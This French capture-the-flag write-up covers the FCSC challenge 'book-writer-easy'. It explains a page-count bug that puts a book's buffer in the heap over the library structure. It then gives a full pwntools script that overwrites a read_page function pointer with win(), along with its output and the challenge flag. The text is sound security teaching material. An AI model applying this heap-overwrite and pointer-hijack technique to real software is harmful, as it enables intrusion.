En testant rapidement on peut voir que le nombre de pages est arbitraire (-1 = crash).
En désassemblant (avec BinaryNinja) on trouve une fonction win()
bien pratique.
Il faudra surement écraser un pointer de fonction, et l’object library[]
en contient justement.
Il m’a fallu un moment pour comprendre la bonne valeur pour le nombre de page.
Trop et malloc()
renvoit 0, le pointeur content[]
des livres est nul, et les fonctions read/write_page
crashent.
Pas assez et malloc()
alloue une adresse dans la pile. STACKBOTTOM
(0x1000000000000000
) force malloc à allouer dans la heap, là où sera placée la structure library[]
.
On pourra accéder à cette plage mémoire depuis content[]
du livre 1.
- on créé deux livres
- depuis livre 1 on lit l’adresse de la fonction read_page dans livre 2
- on remplace par l’adresse de la fonction win
- on lit une page du livre 2, ca appele win()
#!/usr/bin/env python3
from pwn import *
#context.log_level = 'DEBUG'
context.arch='amd64'
debug=False
local=True
bin=ELF('./book-writer-easy',checksec=False)
delta=bin.sym['win']-bin.sym['read_page'] # distance entre les deux fonctions
if local:
p=process('./book-writer-easy')
if debug:
rdbg = gdb.attach(p,gdbscript='''
break *main+0x22e
# break *read_page
# break *write_page
c
''')
else:
p=remote('127.0.0.1',4000)
# book 1
p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f1')
p.sendlineafter(b'pages',str(0x1000000000000000).encode()) # we want the heap
# book 2
p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f2')
p.sendlineafter(b'pages',b'1')
# back to book 1
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')
# read
p.sendlineafter(b'Quitter\n',b'4')
buff=p.recvline()
ptr_read=unpack(buff[33:41])
print('livre 2, ptr read() : '+hex(ptr_read))
# write
p.sendlineafter(b'Quitter',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+p64(ptr_read+delta))
# back to book 2
p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')
# read 2
p.sendlineafter(b'Quitter',b'4')
print(p.recvall().strip())
$ bookwriter ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
livre 2, ptr read() : 0x563f441461f9
[+] Receiving all data: Done (72B)
[*] Closed connection to 127.0.0.1 port 4000
b'FCSC{bfb3d25dd7b9c190536d707ca4e17352f7c055008207b15fa3d1dc048ae35176}'